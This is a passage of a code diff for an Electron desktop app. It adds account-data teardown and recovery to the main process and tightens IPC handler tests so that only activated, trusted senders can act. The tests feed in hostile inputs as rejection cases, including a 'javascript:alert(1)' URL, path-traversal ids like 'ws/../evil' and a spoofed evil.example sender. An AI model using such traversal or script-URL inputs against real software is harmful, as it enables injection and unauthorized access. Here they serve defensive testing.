for (const entry of loaded.slice(0, MAX_DURABLE_ENTRIES)) {
|
||||
for (const entry of loaded) {
|
||||
this.entries.set(keyFor(entry.origin, entry.scope), entry)
|
||||
this.accessClock = Math.max(this.accessClock, entry.lastAccessedAt)
|
||||
}
|
||||
@@ -496,6 +542,7 @@ export class DesktopChatSessionStore {
|
||||
v: STORE_VERSION,
|
||||
ciphertext: this.encryption.encryptString(JSON.stringify(payload)).toString('base64'),
|
||||
}
|
||||
if (Buffer.byteLength(JSON.stringify(envelope), 'utf8') > MAX_STORE_BYTES) return false
|
||||
writeJsonFileAtomicallySync(this.filePath, envelope)
|
||||
this.dirty = false
|
||||
return true
|
||||
|
||||
+221
-66
@@ -1,8 +1,19 @@
|
||||
import { join } from 'node:path'
|
||||
import { join, resolve } from 'node:path'
|
||||
import { createLogger } from '@sim/logger'
|
||||
import { getErrorMessage } from '@sim/utils/errors'
|
||||
import type { OpenDialogOptions, Session, WebContents } from 'electron'
|
||||
import { app, BrowserWindow, crashReporter, dialog, net, session } from 'electron'
|
||||
import { app, BrowserWindow, crashReporter, dialog, net, session, shell } from 'electron'
|
||||
import {
|
||||
beginAccountDataTeardown,
|
||||
completeDeploymentScopedTeardown,
|
||||
getAccountDataTeardownKind,
|
||||
getAccountDataTeardownOrigin,
|
||||
initializeAccountDataRecovery,
|
||||
isAccountDataTeardownRequired,
|
||||
prepareAccountDataTeardownForQuit,
|
||||
retryAccountDataTeardown,
|
||||
waitForAccountDataMutations,
|
||||
} from '@/main/account-data-generation'
|
||||
import { newChatRoute, settingsRoute } from '@/main/app-routes'
|
||||
import {
|
||||
activateBrowserScope as activateAgentBrowserScope,
|
||||
@@ -48,11 +59,12 @@ import { LocalFilesystemService } from '@/main/local-filesystem'
|
||||
import { createEncryptedLocalFilesystemGrantStore } from '@/main/local-filesystem-grant-store'
|
||||
import { installApplicationMenu } from '@/main/menu'
|
||||
import { openExternalSafe } from '@/main/navigation'
|
||||
import { createEventLog } from '@/main/observability'
|
||||
import { createEventLog, installMainProcessFailureObservers } from '@/main/observability'
|
||||
import { ScopedEventRouter } from '@/main/scoped-event-router'
|
||||
import { installGlobalGuards } from '@/main/security-guards'
|
||||
import { createServerWindow, relaunchApp } from '@/main/server-window'
|
||||
import {
|
||||
canRevokeIn,
|
||||
createSessionLifecycleCoordinator,
|
||||
decideStartRoute,
|
||||
handleConnectIntercept,
|
||||
@@ -72,7 +84,8 @@ const logger = createLogger('DesktopMain')
|
||||
* Backstop for the sign-in flows, which are dispatched fire-and-forget from a
|
||||
* loopback callback and a navigation guard. The flows record their own expected
|
||||
* failures; this catches anything they do not, so a rejection cannot surface as
|
||||
* an unhandled one — main registers no `unhandledRejection` handler.
|
||||
* an unhandled one — the process-level observer is a last-resort restart path,
|
||||
* not routine control flow.
|
||||
*/
|
||||
function reportHandoffFailure(error: unknown): void {
|
||||
logger.error('Sign-in handoff failed', { error: getErrorMessage(error) })
|
||||
@@ -90,20 +103,30 @@ const DOCK_ICON_FOR_CHANNEL = {
|
||||
function main(): void {
|
||||
app.enableSandbox()
|
||||
|
||||
const config = createConfigStore(join(app.getPath('userData'), 'settings.json'))
|
||||
const events = createEventLog(join(app.getPath('userData'), 'logs'))
|
||||
const userDataPath = app.getPath('userData')
|
||||
const config = createConfigStore(join(userDataPath, 'settings.json'))
|
||||
initializeAccountDataRecovery(join(userDataPath, 'account-data-teardown-required.json'))
|
||||
const recoveryOrigin = getAccountDataTeardownOrigin()
|
||||
if (isAccountDataTeardownRequired() && recoveryOrigin && !config.isPersistenceAvailable()) {
|
||||
const repaired = config.setOrigin(recoveryOrigin)
|
||||
if (!repaired.ok) {
|
||||
logger.error('Could not repair desktop settings for account-data recovery')
|
||||
}
|
||||
}
|
||||
const accountDataAvailable = () =>
|
||||
config.isPersistenceAvailable() && !isAccountDataTeardownRequired()
|
||||
const events = createEventLog(join(userDataPath, 'logs'))
|
||||
const appOrigin = () => config.getOrigin()
|
||||
/** Resource snapshots stay with the deployment that created this process. */
|
||||
const processOrigin = appOrigin()
|
||||
const recoveryPartition = `sim-settings-recovery-${process.pid}`
|
||||
const appPartition = (origin = appOrigin()) =>
|
||||
accountDataAvailable() ? partitionForOrigin(origin) : recoveryPartition
|
||||
const desktopChatSessions = new DesktopChatSessionStore(
|
||||
join(app.getPath('userData'), 'desktop-chat-sessions.json')
|
||||
join(userDataPath, 'desktop-chat-sessions.json')
|
||||
)
|
||||
const clearDesktopChatSessions = (): void => {
|
||||
try {
|
||||
desktopChatSessions.clear()
|
||||
} catch (error) {
|
||||
logger.error('Could not clear encrypted task resource state', {
|
||||
error: getErrorMessage(error),
|
||||
})
|
||||
}
|
||||
desktopChatSessions.clear()
|
||||
}
|
||||
const flushDesktopChatSessions = (phase: 'before-quit' | 'will-quit'): void => {
|
||||
if (!desktopChatSessions.flush()) {
|
||||
@@ -112,17 +135,17 @@ function main(): void {
|
||||
}
|
||||
const localFilesystem = new LocalFilesystemService({
|
||||
grantStore: createEncryptedLocalFilesystemGrantStore(
|
||||
join(app.getPath('userData'), 'local-filesystem-grants.json')
|
||||
join(userDataPath, 'local-filesystem-grants.json')
|
||||
),
|
||||
})
|
||||
const scopeEvents = new ScopedEventRouter()
|
||||
const terminal = new TerminalRegistry({
|
||||
load: (scopeId) => desktopChatSessions.getTerminal(appOrigin(), scopeId) ?? undefined,
|
||||
save: (scopeId, snapshot) => desktopChatSessions.setTerminal(appOrigin(), scopeId, snapshot),
|
||||
load: (scopeId) => desktopChatSessions.getTerminal(processOrigin, scopeId) ?? undefined,
|
||||
save: (scopeId, snapshot) => desktopChatSessions.setTerminal(processOrigin, scopeId, snapshot),
|
||||
migrate: (fromScopeId, toScopeId) =>
|
||||
desktopChatSessions.migrateTerminal(appOrigin(), fromScopeId, toScopeId),
|
||||
desktopChatSessions.migrateTerminal(processOrigin, fromScopeId, toScopeId),
|
||||
disposeScope: (scopeId) => {
|
||||
desktopChatSessions.deleteScope(appOrigin(), scopeId)
|
||||
desktopChatSessions.deleteScope(processOrigin, scopeId)
|
||||
},
|
||||
})
|
||||
const preloadPath = join(__dirname, 'preload.cjs')
|
||||
@@ -133,8 +156,11 @@ function main(): void {
|
||||
let ensureWindowCreation: Promise<BrowserWindow> | null = null
|
||||
let appSession: Session | null = null
|
||||
let sessionLifecycle: ReturnType<typeof createSessionLifecycleCoordinator> | null = null
|
||||
let resumingQuitAfterTeardown = false
|
||||
let mandatoryRelaunchPending = false
|
||||
let tray: TrayHandle | null = null
|
||||
let updater: UpdaterHandle | null = null
|
||||
let startupReady: Promise<void> | null = null
|
||||
const configuredPartitions = new Set<string>()
|
||||
|
||||
const allowHttpLocalhost = () => !app.isPackaged || appOrigin().startsWith('http://')
|
||||
@@ -149,6 +175,7 @@ function main(): void {
|
||||
}
|
||||
return getWindows().at(-1) ?? null
|
||||
}
|
||||
installMainProcessFailureObservers({ events, getWindow: getMainWindow })
|
||||
const windowForContents = (contents: WebContents) => {
|
||||
const win = BrowserWindow.fromWebContents(contents)
|
||||
return win && windows.has(win) && !win.isDestroyed() ? win : null
|
||||
@@ -225,7 +252,7 @@ function main(): void {
|
||||
})
|
||||
|
||||
function configureSessionForOrigin(origin: string) {
|
||||
const partition = partitionForOrigin(origin)
|
||||
const partition = appPartition(origin)
|
||||
const ses = session.fromPartition(partition)
|
||||
if (configuredPartitions.has(partition)) {
|
||||
return ses
|
||||
@@ -249,41 +276,58 @@ function main(): void {
|
||||
events,
|
||||
getWindows,
|
||||
clearHandoffState: async () => {
|
||||
try {
|
||||
handoff.clear()
|
||||
} catch (error) {
|
||||
logger.error('Could not clear sign-in handoff state', { error: getErrorMessage(error) })
|
||||
}
|
||||
try {
|
||||
tray?.clearRecentChats()
|
||||
} catch (error) {
|
||||
logger.error('Could not clear recent tasks', { error: getErrorMessage(error) })
|
||||
}
|
||||
// Shells are account-scoped runtime state. Leaving them alive across
|
||||
// sign-out would stream the previous account's output into the next
|
||||
// renderer and keep its local processes running invisibly.
|
||||
try {
|
||||
terminal.dispose()
|
||||
} catch (error) {
|
||||
logger.error('Could not stop account terminal sessions', {
|
||||
error: getErrorMessage(error),
|
||||
})
|
||||
}
|
||||
clearDesktopChatSessions()
|
||||
await localFilesystem.forgetAll().catch((error) => {
|
||||
logger.error('Could not clear local filesystem grants', {
|
||||
error: getErrorMessage(error),
|
||||
const stores = [
|
||||
{ label: 'sign-in handoff state', clear: () => handoff.clear() },
|
||||
{ label: 'recent tasks', clear: () => tray?.clearRecentChats() },
|
||||
{
|
||||
label: 'renderer session state',
|
||||
clear: () =>
|
||||
Promise.all(
|
||||
getWindows()
|
||||
.filter((win) => canRevokeIn(win, appOrigin()))
|
||||
.map((win) =>
|
||||
win.webContents.executeJavaScript(
|
||||
`(() => { sessionStorage.clear(); window.name = '' })()`,
|
||||
true
|
||||
)
|
||||
)
|
||||
).then(() => undefined),
|
||||
},
|
||||
// Shells are account-scoped runtime state. Leaving them alive across
|
||||
// sign-out would stream the previous account's output into the next
|
||||
// renderer and keep its local processes running invisibly.
|
||||
{ label: 'terminal sessions', clear: () => terminal.dispose() },
|
||||
{ label: 'task resource state', clear: clearDesktopChatSessions },
|
||||
{ label: 'local filesystem grants', clear: () => localFilesystem.forgetAll() },
|
||||
]
|
||||
const outcomes = await Promise.allSettled(
|
||||
stores.map(({ clear }) => Promise.resolve().then(clear))
|
||||
)
|
||||
const failures = outcomes.flatMap((outcome, index) => {
|
||||
if (outcome.status === 'fulfilled') return []
|
||||
logger.error('Could not clear local account state', {
|
||||
store: stores[index].label,
|
||||
error: getErrorMessage(outcome.reason),
|
||||
})
|
||||
return [outcome.reason]
|
||||
})
|
||||
if (failures.length > 0) {
|
||||
throw new AggregateError(failures, 'Local account state survived teardown.')
|
||||
}
|
||||
},
|
||||
clearBrowserProfile: async () => {
|
||||
// Browser profile teardown emits empty tab snapshots while closing its
|
||||
// live views. Clear task descriptors afterward so those snapshots
|
||||
// cannot recreate account-scoped state after sign-out.
|
||||
const failures: unknown[] = []
|
||||
await clearAgentBrowserProfile().catch((error) => failures.push(error))
|
||||
try {
|
||||
await clearAgentBrowserProfile()
|
||||
} finally {
|
||||
// Browser profile teardown emits empty tab snapshots while closing
|
||||
// its live views. Clear once more afterward so those cannot recreate
|
||||
// account-scoped task descriptors after sign-out.
|
||||
clearDesktopChatSessions()
|
||||
} catch (error) {
|
||||
failures.push(error)
|
||||
}
|
||||
if (failures.length > 0) {
|
||||
throw new AggregateError(failures, 'Browser account state survived teardown.')
|
||||
}
|
||||
},
|
||||
})
|
||||
@@ -335,10 +379,11 @@ function main(): void {
|
||||
config,
|
||||
events,
|
||||
appOrigin,
|
||||
partition: partitionForOrigin(origin),
|
||||
partition: appPartition(origin),
|
||||
preloadPath,
|
||||
isPackaged: app.isPackaged,
|
||||
restorePosition,
|
||||
isMandatoryRelaunchPending: () => mandatoryRelaunchPending,
|
||||
onFullScreenChange: (isFullScreen) => {
|
||||
if (!win.isDestroyed()) {
|
||||
win.webContents.send('desktop:window-state:changed', { isFullScreen })
|
||||
@@ -373,6 +418,7 @@ function main(): void {
|
||||
}
|
||||
},
|
||||
allowHttpLocalhost: allowHttpLocalhost(),
|
||||
isMandatoryRelaunchPending: () => mandatoryRelaunchPending,
|
||||
})
|
||||
attachContextMenu(win.webContents, {
|
||||
isDev: !app.isPackaged,
|
||||
@@ -426,7 +472,7 @@ function main(): void {
|
||||
}
|
||||
if (!tray) {
|
||||
tray = installTray({
|
||||
partition: () => partitionForOrigin(appOrigin()),
|
||||
partition: appPartition,
|
||||
appOrigin,
|
||||
lastRoute: () => config.get('lastRoute'),
|
||||
openMainWindow: (route) => void openMainWindowAt(route),
|
||||
@@ -482,14 +528,19 @@ function main(): void {
|
||||
preloadPath,
|
||||
isPackaged: app.isPackaged,
|
||||
getParentWindow: getMainWindow,
|
||||
prepareDeploymentScopedStateChange: () => beginAccountDataTeardown('deployment', appOrigin()),
|
||||
clearDeploymentScopedState: async () => {
|
||||
await waitForAccountDataMutations()
|
||||
// allSettled, not sequential awaits: these are independent stores, and a
|
||||
// rejection from the first must not skip the second — leaving the store
|
||||
// that would have cleared fine still holding the outgoing deployment's
|
||||
// access. Each failure is named so the picker can say what survived.
|
||||
const stores = [
|
||||
{ label: 'local file access', clear: () => localFilesystem.forgetAll() },
|
||||
{ label: 'built-in browser sessions', clear: () => clearAgentBrowserProfile() },
|
||||
{
|
||||
label: 'built-in browser sessions',
|
||||
clear: () => clearAgentBrowserProfile({ settingsPersistence: 'server-repair' }),
|
||||
},
|
||||
]
|
||||
const outcomes = await Promise.allSettled(stores.map((store) => store.clear()))
|
||||
return outcomes.flatMap((outcome, index) => {
|
||||
@@ -501,7 +552,11 @@ function main(): void {
|
||||
return [stores[index].label]
|
||||
})
|
||||
},
|
||||
relaunch: relaunchApp,
|
||||
completeDeploymentScopedStateChange: completeDeploymentScopedTeardown,
|
||||
relaunch: () => {
|
||||
mandatoryRelaunchPending = true
|
||||
relaunchApp()
|
||||
},
|
||||
})
|
||||
|
||||
/**
|
||||
@@ -513,11 +568,11 @@ function main(): void {
|
||||
*/
|
||||
function signOutFromMenu(): void {
|
||||
ensureAppSession()
|
||||
sessionLifecycle?.signOut()
|
||||
void sessionLifecycle?.signOut()
|
||||
}
|
||||
|
||||
app.on('second-instance', () => {
|
||||
void app.whenReady().then(() => createAndLoadAppWindow())
|
||||
void (startupReady ?? app.whenReady()).then(() => createAndLoadAppWindow())
|
||||
})
|
||||
|
||||
app.on('window-all-closed', () => {
|
||||
@@ -526,7 +581,39 @@ function main(): void {
|
||||
}
|
||||
})
|
||||
|
||||
app.on('before-quit', () => {
|
||||
app.on('before-quit', (event) => {
|
||||
if (!resumingQuitAfterTeardown && sessionLifecycle?.isTeardownActive()) {
|
||||
event.preventDefault()
|
||||
void sessionLifecycle.awaitTeardown().then((clean) => {
|
||||
if (!clean && !mandatoryRelaunchPending) {
|
||||
logger.error('Quit cancelled because account teardown did not finish safely')
|
||||
return
|
||||
}
|
||||
if (!mandatoryRelaunchPending && !prepareAccountDataTeardownForQuit()) {
|
||||
logger.error('Quit cancelled because account-data recovery could not be persisted')
|
||||
return
|
||||
}
|
||||
if (!clean) {
|
||||
logger.warn(
|
||||
'Committed server relaunch is continuing with account-data recovery armed for startup'
|
||||
)
|
||||
}
|
||||
resumingQuitAfterTeardown = true
|
||||
app.quit()
|
||||
})
|
||||
return
|
||||
}
|
||||
/**
|
||||
* A mandatory relaunch is requested only after the server-switch transaction
|
||||
* has cleared deployment-scoped capabilities and committed the replacement
|
||||
* origin. The ordinary quit guard must not strand that committed process on
|
||||
* its old partition; any retained marker is startup retry metadata.
|
||||
*/
|
||||
if (!mandatoryRelaunchPending && !prepareAccountDataTeardownForQuit()) {
|
||||
event.preventDefault()
|
||||
logger.error('Quit cancelled because account-data recovery could not be persisted')
|
||||
return
|
||||
}
|
||||
// Stops the tray's background chat refresh alongside the OS handles.
|
||||
tray?.destroy()
|
||||
tray = null
|
||||
@@ -549,12 +636,13 @@ function main(): void {
|
||||
})
|
||||
|
||||
app.on('activate', () => {
|
||||
if (app.isReady() && !getMainWindow()) {
|
||||
void ensureMainWindow()
|
||||
}
|
||||
if (!app.isReady()) return
|
||||
void (startupReady ?? app.whenReady()).then(() => {
|
||||
if (!getMainWindow()) return ensureMainWindow()
|
||||
})
|
||||
})
|
||||
|
||||
void app.whenReady().then(async () => {
|
||||
startupReady = app.whenReady().then(async () => {
|
||||
// Packaged apps keep their native bundle icon so the Dock appearance does
|
||||
// not change when the process starts. Unpackaged runs have no branded
|
||||
// bundle, so they still need the channel-specific development icon.
|
||||
@@ -566,7 +654,57 @@ function main(): void {
|
||||
version: app.getVersion(),
|
||||
electron: process.versions.electron ?? '',
|
||||
})
|
||||
if (!desktopChatSessions.initialize()) {
|
||||
|
||||
if (isAccountDataTeardownRequired()) {
|
||||
const kind = getAccountDataTeardownKind()
|
||||
const origin = getAccountDataTeardownOrigin()
|
||||
if (!origin) {
|
||||
logger.error('Account-data recovery marker does not contain a trusted origin')
|
||||
}
|
||||
const stores = [
|
||||
{ label: 'built-in browser sessions', clear: () => clearAgentBrowserProfile() },
|
||||
{ label: 'local filesystem grants', clear: () => localFilesystem.forgetAll() },
|
||||
{
|
||||
label: 'browser site history',
|
||||
clear: () => {
|
||||
config.set('browserKnownSites', undefined)
|
||||
if (!config.flush()) throw new Error('Browser site history could not be erased')
|
||||
},
|
||||
},
|
||||
...(kind === 'account' && origin
|
||||
? [
|
||||
{ label: 'sign-in handoff state', clear: () => handoff.clear() },
|
||||
{ label: 'terminal sessions', clear: () => terminal.dispose() },
|
||||
{ label: 'task resource state', clear: clearDesktopChatSessions },
|
||||
{
|
||||
label: 'app session storage',
|
||||
clear: async () => {
|
||||
const persistedSession = session.fromPartition(partitionForOrigin(origin))
|
||||
await persistedSession.clearStorageData()
|
||||
await persistedSession.clearCache()
|
||||
},
|
||||
},
|
||||
]
|
||||
: []),
|
||||
]
|
||||
const failures = origin
|
||||
? await retryAccountDataTeardown(stores).catch((error) => {
|
||||
logger.error('Could not finish interrupted account-data teardown', {
|
||||
error: getErrorMessage(error),
|
||||
})
|
||||
return ['account-data recovery marker']
|
||||
})
|
||||
: ['account-data recovery marker']
|
||||
if (failures.length > 0) {
|
||||
logger.error('Account-data recovery remains incomplete', { stores: failures })
|
||||
}
|
||||
}
|
||||
|
||||
if (!accountDataAvailable()) {
|
||||
logger.warn(
|
||||
'Account-bearing browser, terminal, and local filesystem APIs are unavailable until local recovery succeeds'
|
||||
)
|
||||
} else if (!desktopChatSessions.initialize()) {
|
||||
logger.warn(
|
||||
'Encrypted task resource storage is unavailable; browser and terminal state will remain memory-only'
|
||||
)
|
||||
@@ -595,19 +733,22 @@ function main(): void {
|
||||
getMainWindow,
|
||||
config,
|
||||
{
|
||||
load: (scopeId) => desktopChatSessions.getBrowser(appOrigin(), scopeId),
|
||||
save: (scopeId, snapshot) => desktopChatSessions.setBrowser(appOrigin(), scopeId, snapshot),
|
||||
load: (scopeId) => desktopChatSessions.getBrowser(processOrigin, scopeId),
|
||||
save: (scopeId, snapshot) =>
|
||||
desktopChatSessions.setBrowser(processOrigin, scopeId, snapshot),
|
||||
migrateScope: (fromScopeId, toScopeId) =>
|
||||
desktopChatSessions.migrateBrowser(appOrigin(), fromScopeId, toScopeId),
|
||||
desktopChatSessions.migrateBrowser(processOrigin, fromScopeId, toScopeId),
|
||||
disposeScope: (scopeId) => {
|
||||
desktopChatSessions.deleteScope(appOrigin(), scopeId)
|
||||
desktopChatSessions.deleteScope(processOrigin, scopeId)
|
||||
},
|
||||
},
|
||||
{
|
||||
getDirectory: () => desktopSettings.getPreferences().browserDownloadDirectory,
|
||||
}
|
||||
)
|
||||
await localFilesystem.initialize()
|
||||
if (accountDataAvailable()) {
|
||||
await localFilesystem.initialize()
|
||||
}
|
||||
terminal.setSink({
|
||||
data: (scopeId, terminalId, data) =>
|
||||
scopeEvents.sendTerminal(scopeId, 'terminal:data', terminalId, data, scopeId),
|
||||
@@ -619,6 +760,8 @@ function main(): void {
|
||||
registerIpcHandlers({
|
||||
appOrigin,
|
||||
allowHttpLocalhost,
|
||||
accountDataAvailable,
|
||||
localPagePaths: [resolve(OFFLINE_PAGE), resolve(SERVER_PAGE)],
|
||||
scopeEvents,
|
||||
retryLoad: (sender) => {
|
||||
const win = windowForContents(sender)
|
||||
@@ -700,6 +843,7 @@ function main(): void {
|
||||
installApplicationMenu({
|
||||
config,
|
||||
getMainWindow,
|
||||
isMainWindow: (win) => windows.has(win) && !win.isDestroyed(),
|
||||
allowHttpLocalhost,
|
||||
openSettings,
|
||||
openServerSettings: () => serverWindow.open(),
|
||||
@@ -713,6 +857,7 @@ function main(): void {
|
||||
signOut: signOutFromMenu,
|
||||
checkForUpdates: () =>
|
||||
checkForUpdatesInteractive({ getWindow: getMainWindow, events, handle: updater }),
|
||||
openDiagnostics: () => shell.showItemInFolder(events.filePath),
|
||||
})
|
||||
installDocumentationHelpSearch()
|
||||
setTrayEnabled(config.get('trayEnabled') ?? true)
|
||||
@@ -721,6 +866,16 @@ function main(): void {
|
||||
events,
|
||||
appOrigin,
|
||||
autoDownload: () => config.get('autoDownloadUpdates') ?? true,
|
||||
beforeInstall: async () => {
|
||||
if (!prepareAccountDataTeardownForQuit()) {
|
||||
throw new Error(
|
||||
'Account-data recovery could not be persisted before update installation.'
|
||||
)
|
||||
}
|
||||
if (sessionLifecycle && !(await sessionLifecycle.awaitTeardown())) {
|
||||
throw new Error('Account teardown did not finish safely before update installation.')
|
||||
}
|
||||
},
|
||||
onStateChange: (state) => {
|
||||
broadcast('desktop:updates:state', state)
|
||||
},
|
||||
|
||||
@@ -235,6 +235,10 @@ const inactiveAppEvent = {
|
||||
sender: rejectedSender(),
|
||||
}
|
||||
const evilEvent = { senderFrame: { url: 'https://evil.example/page' }, sender: evilSender }
|
||||
const arbitraryFileEvent = {
|
||||
senderFrame: { url: 'file:///Users/example/private.html' },
|
||||
sender: fileSender,
|
||||
}
|
||||
/** The chooser anchors a native menu, so it needs a sender with a window. */
|
||||
const FAKE_WINDOW = { id: 'main-window' }
|
||||
const activeChooserEvent = {
|
||||
@@ -274,6 +278,8 @@ describe('registerIpcHandlers', () => {
|
||||
deps = {
|
||||
appOrigin: () => APP,
|
||||
allowHttpLocalhost: () => false,
|
||||
accountDataAvailable: () => true,
|
||||
localPagePaths: ['/app/static/offline.html', '/app/static/server.html'],
|
||||
retryLoad: vi.fn(),
|
||||
beginOAuthConnect: vi.fn(async () => true),
|
||||
localFilesystem: new LocalFilesystemService({
|
||||
@@ -330,20 +336,28 @@ describe('registerIpcHandlers', () => {
|
||||
vi.useRealTimers()
|
||||
})
|
||||
|
||||
it('validates open-external URLs regardless of sender', async () => {
|
||||
it('opens validated external URLs only after recent user input', async () => {
|
||||
const { invoke } = collectHandlers()
|
||||
expect(await invoke.get('desktop:open-external')?.(evilEvent, 'https://docs.sim.ai')).toBe(true)
|
||||
expect(await invoke.get('desktop:open-external')?.(appEvent, 'javascript:alert(1)')).toBe(false)
|
||||
expect(await invoke.get('desktop:open-external')?.(appEvent, 42)).toBe(false)
|
||||
const handler = invoke.get('desktop:open-external')
|
||||
const activeUntrustedEvent = {
|
||||
senderFrame: evilEvent.senderFrame,
|
||||
sender: activeSender.sender,
|
||||
}
|
||||
|
||||
expect(await handler?.(evilEvent, 'https://docs.sim.ai')).toBe(false)
|
||||
expect(await handler?.(activeUntrustedEvent, 'https://docs.sim.ai')).toBe(true)
|
||||
expect(await handler?.(activeAppEvent, 'javascript:alert(1)')).toBe(false)
|
||||
expect(await handler?.(activeAppEvent, 42)).toBe(false)
|
||||
expect(shell.openExternal).toHaveBeenCalledTimes(1)
|
||||
})
|
||||
|
||||
it('opens microphone privacy settings only for the trusted app origin', async () => {
|
||||
it('opens microphone privacy settings only for an activated trusted app origin', async () => {
|
||||
const { invoke } = collectHandlers()
|
||||
const handler = invoke.get('desktop:open-microphone-settings')
|
||||
|
||||
expect(await handler?.(evilEvent)).toBe(false)
|
||||
expect(await handler?.(appEvent)).toBe(process.platform === 'darwin')
|
||||
expect(await handler?.(appEvent)).toBe(false)
|
||||
expect(await handler?.(activeAppEvent)).toBe(process.platform === 'darwin')
|
||||
expect(shell.openExternal).toHaveBeenCalledTimes(process.platform === 'darwin' ? 1 : 0)
|
||||
})
|
||||
|
||||
@@ -374,20 +388,21 @@ describe('registerIpcHandlers', () => {
|
||||
expect(await handler?.(appEvent, 'sim ai')).toEqual([])
|
||||
})
|
||||
|
||||
it('restricts the OAuth connect handoff to the app origin', async () => {
|
||||
it('restricts the OAuth connect handoff to an activated app origin', async () => {
|
||||
const { invoke } = collectHandlers()
|
||||
const handler = invoke.get('desktop:oauth-connect')
|
||||
expect(await handler?.(evilEvent, 'slack')).toBe(false)
|
||||
expect(await handler?.(fileEvent, 'slack')).toBe(false)
|
||||
expect(await handler?.(appEvent, 'slack')).toBe(false)
|
||||
expect(deps.beginOAuthConnect).not.toHaveBeenCalled()
|
||||
expect(await handler?.(appEvent, 42)).toBe(false)
|
||||
expect(await handler?.(appEvent, 'slack')).toBe(true)
|
||||
expect(await handler?.(activeAppEvent, 42)).toBe(false)
|
||||
expect(await handler?.(activeAppEvent, 'slack')).toBe(true)
|
||||
expect(deps.beginOAuthConnect).toHaveBeenCalledWith('slack', {})
|
||||
|
||||
// Connects carry workspace/credential or exact-draft scope; malformed
|
||||
// scopes (wrong types, unsafe ids) are rejected before the handoff.
|
||||
expect(
|
||||
await handler?.(appEvent, 'slack', {
|
||||
await handler?.(activeAppEvent, 'slack', {
|
||||
workspaceId: 'ws1',
|
||||
credentialId: 'cred_1',
|
||||
draftId: 'draft_1',
|
||||
@@ -400,13 +415,13 @@ describe('registerIpcHandlers', () => {
|
||||
draftId: 'draft_1',
|
||||
chatAttemptId: 'attempt_1',
|
||||
})
|
||||
expect(await handler?.(appEvent, 'slack', { workspaceId: 'ws/../evil' })).toBe(false)
|
||||
expect(await handler?.(appEvent, 'slack', { draftId: '../wrong' })).toBe(false)
|
||||
expect(await handler?.(appEvent, 'slack', { chatAttemptId: '../wrong' })).toBe(false)
|
||||
expect(await handler?.(appEvent, 'slack', 'not-an-object')).toBe(false)
|
||||
expect(await handler?.(activeAppEvent, 'slack', { workspaceId: 'ws/../evil' })).toBe(false)
|
||||
expect(await handler?.(activeAppEvent, 'slack', { draftId: '../wrong' })).toBe(false)
|
||||
expect(await handler?.(activeAppEvent, 'slack', { chatAttemptId: '../wrong' })).toBe(false)
|
||||
expect(await handler?.(activeAppEvent, 'slack', 'not-an-object')).toBe(false)
|
||||
})
|
||||
|
||||
it('restricts the updates surface to the app origin', async () => {
|
||||
it('restricts updates to an activated app origin', async () => {
|
||||
const { invoke, on } = collectHandlers()
|
||||
const getState = invoke.get('desktop:updates:get-state')
|
||||
expect(await getState?.(evilEvent)).toEqual({ status: 'idle' })
|
||||
@@ -419,6 +434,11 @@ describe('registerIpcHandlers', () => {
|
||||
|
||||
on.get('desktop:updates:check')?.(appEvent)
|
||||
on.get('desktop:updates:install')?.(appEvent)
|
||||
expect(deps.updates.check).not.toHaveBeenCalled()
|
||||
expect(deps.updates.install).not.toHaveBeenCalled()
|
||||
|
||||
on.get('desktop:updates:check')?.(activeAppEvent)
|
||||
on.get('desktop:updates:install')?.(activeAppEvent)
|
||||
expect(deps.updates.check).toHaveBeenCalledTimes(1)
|
||||
expect(deps.updates.install).toHaveBeenCalledTimes(1)
|
||||
})
|
||||
@@ -433,6 +453,26 @@ describe('registerIpcHandlers', () => {
|
||||
).toEqual({ ok: true, data: { mounts: [] } })
|
||||
})
|
||||
|
||||
it('gates account-bearing browser, terminal, and filesystem APIs during recovery', async () => {
|
||||
deps.accountDataAvailable = () => false
|
||||
const { invoke } = collectHandlers()
|
||||
const localFilesystemHandle = vi.spyOn(deps.localFilesystem, 'handle')
|
||||
const terminalStart = vi.spyOn(deps.terminal, 'start')
|
||||
|
||||
await expect(
|
||||
invoke.get('desktop:local-filesystem')?.(appEvent, { operation: 'list_mounts' })
|
||||
).resolves.toMatchObject({ ok: false, code: 'ACCESS_DENIED' })
|
||||
await expect(invoke.get('browser-credentials:list')?.(appEvent)).resolves.toEqual([])
|
||||
await expect(invoke.get('terminal:start')?.(appEvent, {}, 'chat-a')).resolves.toMatchObject({
|
||||
ok: false,
|
||||
code: 'ACCESS_DENIED',
|
||||
})
|
||||
|
||||
expect(localFilesystemHandle).not.toHaveBeenCalled()
|
||||
expect(listCredentials).not.toHaveBeenCalled()
|
||||
expect(terminalStart).not.toHaveBeenCalled()
|
||||
})
|
||||
|
||||
it('requires an active user gesture for granting or revoking folder access', async () => {
|
||||
const { invoke } = collectHandlers()
|
||||
const handler = invoke.get('desktop:local-filesystem')
|
||||
@@ -524,6 +564,11 @@ describe('registerIpcHandlers', () => {
|
||||
await set?.(appEvent, 'notificationsEnabled', false)
|
||||
expect(deps.settings.setPreference).toHaveBeenCalledWith('notificationsEnabled', false)
|
||||
|
||||
await set?.(appEvent, 'launchAtLogin', true)
|
||||
expect(deps.settings.setPreference).not.toHaveBeenCalledWith('launchAtLogin', true)
|
||||
await set?.(activeAppEvent, 'launchAtLogin', true)
|
||||
expect(deps.settings.setPreference).toHaveBeenCalledWith('launchAtLogin', true)
|
||||
|
||||
await setAppearance?.(evilEvent, 'browserTheme', 'dark')
|
||||
await setAppearance?.(appEvent, 'not-a-setting', 'dark')
|
||||
await setAppearance?.(appEvent, 'browserTheme', 'sepia')
|
||||
@@ -624,6 +669,8 @@ describe('registerIpcHandlers', () => {
|
||||
|
||||
on.get('offline:retry')?.(appEvent)
|
||||
expect(deps.retryLoad).not.toHaveBeenCalled()
|
||||
on.get('offline:retry')?.(arbitraryFileEvent)
|
||||
expect(deps.retryLoad).not.toHaveBeenCalled()
|
||||
on.get('offline:retry')?.(fileEvent)
|
||||
expect(deps.retryLoad).toHaveBeenCalledWith(fileSender)
|
||||
})
|
||||
@@ -684,7 +731,7 @@ describe('registerIpcHandlers', () => {
|
||||
expect(await handler?.(fileEvent, 'tool-1', 'browser_navigate', {})).toMatchObject({
|
||||
ok: false,
|
||||
})
|
||||
expect(await handler?.(appEvent, 'tool-1', 'browser_snapshot', {})).toMatchObject({
|
||||
expect(await handler?.(appEvent, 'tool-1', 'browser_snapshot', {}, 'chat-1')).toMatchObject({
|
||||
ok: false,
|
||||
error: expect.stringContaining('authorized pending Copilot tool call'),
|
||||
})
|
||||
@@ -698,9 +745,15 @@ describe('registerIpcHandlers', () => {
|
||||
}
|
||||
// The server-persisted name must match the renderer's requested name.
|
||||
expect(
|
||||
